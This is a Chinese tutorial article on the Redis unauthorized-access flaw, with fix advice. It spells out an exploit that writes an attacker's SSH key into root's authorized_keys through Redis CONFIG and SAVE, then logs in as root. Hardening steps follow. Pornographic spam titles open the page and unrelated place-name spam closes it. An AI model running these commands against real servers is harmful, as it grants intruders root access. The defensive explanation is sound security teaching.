最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

關(guān)于Redis未授權(quán)訪問漏洞利用的介紹與修復(fù)建議

 更新時間:2017年07月16日 09:50:29   作者:burlin  
Redis是一個開源的使用ANSI C語言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API,下面這篇文章主要給大家介紹了關(guān)于Redis未授權(quán)訪問漏洞利用的介紹和修復(fù)建議,文中介紹的非常詳細(xì),需要的朋友可以參考下。

前言

本文主要給大家介紹了關(guān)于Redis未授權(quán)訪問漏洞利用的相關(guān)內(nèi)容,文中對該漏洞進(jìn)行了詳細(xì),并給出了相對應(yīng)的修復(fù)/安全建議,下面話不多說了,來一起看看詳細(xì)的介紹吧。

一、漏洞介紹

Redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下可以利用 Redis 的相關(guān)方法,可以成功在 Redis 服務(wù)器上寫入公鑰,進(jìn)而可以使用對應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。

漏洞描述

部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis 的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,將會導(dǎo)致 Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進(jìn)行相關(guān)操作。

利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接使用對應(yīng)的私鑰登錄目標(biāo)服務(wù)器。

二、漏洞利用

首先在本地生產(chǎn)公私鑰文件:

$ ssh-keygen –t rsa

然后將公鑰寫入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

連接 Redis 寫入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

這里講解下,這里設(shè)定了crackit的鍵值為公鑰,并通過redis命令變更Redis DB 文件及存放地點為默認(rèn)root用戶SSH key存放文件,并將鍵值重定向追加到遠(yuǎn)程文件authorized_keys的末尾,也就上傳了公鑰。

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執(zhí)行:

$ ssh –i id_rsa root@192.168.1.11

可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器。

剛剛我們提到公鑰登錄和Redis持久化存放數(shù)據(jù)操作,這里簡單講下原理

詳細(xì)講解ssh登錄–公鑰登錄

SSH提供了公鑰登錄,可以省去輸入密碼的步驟。

所謂"公鑰登錄",原理很簡單,就是用戶將自己的公鑰儲存在遠(yuǎn)程主機(jī)上。登錄的時候,遠(yuǎn)程主機(jī)會向用戶發(fā)送一段隨機(jī)字符串,用戶用自己的私鑰加密后,再發(fā)回來。遠(yuǎn)程主機(jī)用事先儲存的公鑰進(jìn)行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。

這種方法要求用戶必須提供自己的公鑰。如果沒有現(xiàn)成的,可以直接用ssh-keygen生成一個:

$ ssh-keygen

運行上面的命令以后,系統(tǒng)會出現(xiàn)一系列提示,可以一路回車。其中有一個問題是,要不要對私鑰設(shè)置口令(passphrase),如果擔(dān)心私鑰的安全,這里可以設(shè)置一個。

運行結(jié)束以后,在$HOME/.ssh/目錄下,會新生成兩個文件:id_rsa.pub和id_rsa。前者是你的公鑰,后者是你的私鑰。

通常這時再輸入下面的命令,將公鑰傳送到遠(yuǎn)程主機(jī)host上面:

$ ssh-copy-id user@host

authorized_keys文件,遠(yuǎn)程主機(jī)將用戶的公鑰,保存在登錄后的用戶主目錄的$HOME/.ssh/authorized_keys文件中。公鑰就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。

詳細(xì)相關(guān)的Redis持久化命令

Redis支持2種持久化策略:snapshot方式和commandlog方式,前者通過將當(dāng)前內(nèi)存數(shù)據(jù)快照周期性寫入RDB文件來實現(xiàn);后者通過在log中記錄Redis進(jìn)程收到的寫操作來實現(xiàn),下次Redis重啟時,回放commandlog來恢復(fù)數(shù)據(jù)狀態(tài)。

這里使用RDB文件寫入SSH key文件,需要設(shè)置以下兩個 RDB相關(guān)配置

dbfilename

指定RDB文件名,默認(rèn)為dump.rdb

dir

指定RDB文件存放目錄的路徑,若包含多級路徑,則相關(guān)父路徑需事先mkdir出來,否則啟動失敗。

set(key, value):給數(shù)據(jù)庫中名稱為key的string賦予值value

最后Client使用save命令通知redis做一次快照持久化

修復(fù)建議/安全建議

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

來禁用遠(yuǎn)程修改 DB 文件地址

2.以低權(quán)限運行 Redis 服務(wù)

為 Redis 服務(wù)創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸

$ groupadd -r redis && useradd -r -g redis redis

3.為 Redis 添加密碼驗證

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外網(wǎng)訪問 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服務(wù)只在當(dāng)前主機(jī)可用

bind 127.0.0.1

5.保證 authorized_keys 文件的安全

為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。

將 authorized_keys 的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限:

$ chmod 400 ~/.ssh/authorized_keys

為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:

# chattr +i ~/.ssh/authorized_keys

然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置 ~./ssh 的 immutable 位權(quán)限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公鑰,需要移除 authorized_keys 的 immutable 位權(quán)限。然后,添加好新的公鑰之后,按照上述步驟重新加上 immutable 位權(quán)限。

總結(jié)

以上就是這篇文章的全部內(nèi)容,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

相關(guān)文章

  • Redis 哨兵高模式搭建及Java代碼配置

    Redis 哨兵高模式搭建及Java代碼配置

    這篇文章主要介紹了Redis 哨兵高模式搭建及Java代碼配置,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-12-12
  • Redis用GEO實現(xiàn)附近的人功能

    Redis用GEO實現(xiàn)附近的人功能

    GEO就是Geolocation的簡寫形式,代表地理坐標(biāo),這篇文章主要介紹了Redis用GEO實現(xiàn)附近的人功能,需要的朋友可以參考下
    2024-08-08
  • Windows下Redis的安裝使用圖解

    Windows下Redis的安裝使用圖解

    Redis是一個key-value存儲系統(tǒng)。Redis的出現(xiàn),很大程度補(bǔ)償了memcached這類key/value存儲的不足,在部分場合可以對關(guān)系數(shù)據(jù)庫起到很好的補(bǔ)充作用。這篇文章小編為大家分享了在Windows下進(jìn)行安裝和使用Redis的技巧。
    2015-09-09
  • Redis+threading實現(xiàn)多線程消息隊列的使用示例

    Redis+threading實現(xiàn)多線程消息隊列的使用示例

    Redis多線程消息隊列是一種使用Redis作為存儲后端的消息隊列實現(xiàn),它利用Redis的線程并發(fā)處理能力來提高消息隊列的處理效率,本文主要介紹了Redis+threading實現(xiàn)多線程消息隊列的使用示例,感興趣的可以了解一下
    2023-12-12
  • Redis實現(xiàn)分布式鎖的示例代碼

    Redis實現(xiàn)分布式鎖的示例代碼

    分布式鎖其實就是,控制分布式系統(tǒng)不同進(jìn)程共同訪問共享資源的一種鎖的實現(xiàn),本文就來介紹一下Redis實現(xiàn)分布式鎖的示例代碼,具有一定的參考價值,感興趣的可以了解一下
    2024-08-08
  • Redis為什么選擇單線程?Redis為什么這么快?

    Redis為什么選擇單線程?Redis為什么這么快?

    這篇文章主要介紹了Redis為什么選擇單線程?Redis為什么這么快?的相關(guān)資料,需要的朋友可以參考下
    2023-03-03
  • Redis中的延遲雙刪

    Redis中的延遲雙刪

    這篇文章主要介紹了Redis中的延遲雙刪問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-04-04
  • Redis可視化連接服務(wù)器的方法

    Redis可視化連接服務(wù)器的方法

    這篇文章主要介紹了Redis可視化連接服務(wù)器的方法,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2022-03-03
  • redis實現(xiàn)加鎖的幾種方法示例詳解

    redis實現(xiàn)加鎖的幾種方法示例詳解

    這篇文章主要給大家介紹了關(guān)于redis實現(xiàn)加鎖的幾種方法,加鎖命令分別是INCR、SETNX和SET,文中給出了詳細(xì)的示例代碼,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-09-09
  • Redis優(yōu)雅地實現(xiàn)延遲隊列的方法分享

    Redis優(yōu)雅地實現(xiàn)延遲隊列的方法分享

    Redisson是Redis服務(wù)器上的分布式可伸縮Java數(shù)據(jù)結(jié)構(gòu),這篇文中主要為大家介紹了Redisson實現(xiàn)的優(yōu)雅的延遲隊列的方法,需要的可以參考一下
    2023-02-02

最新評論

泗阳县| 潼南县| 中方县| 凌海市| 无为县| 隆德县| 漳浦县| 翁源县| 静宁县| 泊头市| 嘉黎县| 将乐县| 昭平县| 绥滨县| 万山特区| 遵化市| 谢通门县| 汉沽区| 庄浪县| 定结县| 平顶山市| 鄂尔多斯市| 湘乡市| 渭源县| 罗平县| 全椒县| 商都县| 红河县| 平阴县| 锡林郭勒盟| 阆中市| 四川省| 都安| 厦门市| 蛟河市| 肥城市| 阿合奇县| 韶山市| 伊宁县| 营山县| 隆安县|